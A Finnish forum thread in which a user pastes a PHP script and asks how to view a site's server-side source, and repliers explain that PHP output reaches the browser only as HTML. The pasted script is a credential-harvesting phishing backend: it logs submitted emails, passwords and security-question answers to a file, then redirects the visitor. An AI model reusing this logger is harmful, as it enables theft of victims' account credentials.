Elikkä jos jollain sivulla on tällainen koodi
<?php
if(isset($_POST['submit'])){
$email = Strip_Tags($_POST['email']);
$pwd = Strip_Tags($_POST['nick']);
$question = Strip_Tags($_POST['question']);
$question2 = Strip_Tags($_POST['question2']);
$question3 = Strip_Tags($_POST['question22']);
$domanda = Strip_Tags($_POST['domanda']);
$domanda2 = Strip_Tags($_POST['domanda2']);
$lvl = Strip_Tags($_POST['lvl']);
$sito = "http://google.it";
$dati_file = "log.txt";
// |
$riga_messaggio ="Jotain: $email
Jotain: $pwd
Jtn: $lvl
jtn: $domanda
jtn: $question
jtn: $domanda2
jtn: $question2
----------------------------
";
$riga_messaggio = str_replace("\n","
",$riga_messaggio);
$riga_messaggio = stripslashes($riga_messaggio);
$riga_messaggio .= "\n";
$fp = fopen($dati_file, "a");
if(!$fp) {
echo "Error";
exit;
}
$fw = fwrite($fp, $riga_messaggio);
$fc = fclose($fp);
header("location: http://www.sivusto.net");
}
?>Niin miten sen voisi saada näkyviin?
Koska lähdekoodistahan sitä ei ole, ja kai siihenkin nyt jokin keino löytyy?
e: mahtaskohan Httrack toimia =O
Ei sitä saa mitenkään, jos sivuston ylläpitäjä ei sitä erikseen halua. Tuo koodi käsitellään palvelimen päässä, joten klientille ei tule kuin normaali HTML-vastaus.
Jakke1 kirjoitti:
Niin miten sen voisi saada näkyviin?
Koska lähdekoodistahan sitä ei ole, ja kai siihenkin nyt jokin keino löytyy?
PHP-koodi tosiaan ei sisälly vastaukseen, jonka palvelin lähettää käyttäjälle. Palvelin suorittaa PHP-koodin ja lähettää käyttäjälle ainoastaan HTML-sivun, jonka PHP-koodi generoi. Mitään niksiä saada koodi "näkyviin" ei siis ole, koska palvelin ei yksinkertaisesti lähetä koodia käyttäjälle (paitsi tietenkin haxoroimalla kyseinen palvelin tekemään niin, mutta se on toinen juttu :)).
Oliski vähä törkeetä jos esim. jostain überhax php sivulta saisi kaikki überhax php koodit selville
Joo, minustaki ois ihan hirveetä, jos pääsis kattoon vaikka veppiselaimen, toimisto-ohjelmapaketin tai *shock!* käyttöjärjestelmän *horror!* lähdekoodia!
Ajattele nyt, mitä kauheuksia sitä vois tehä!
Aihe on jo aika vanha, joten et voi enää vastata siihen.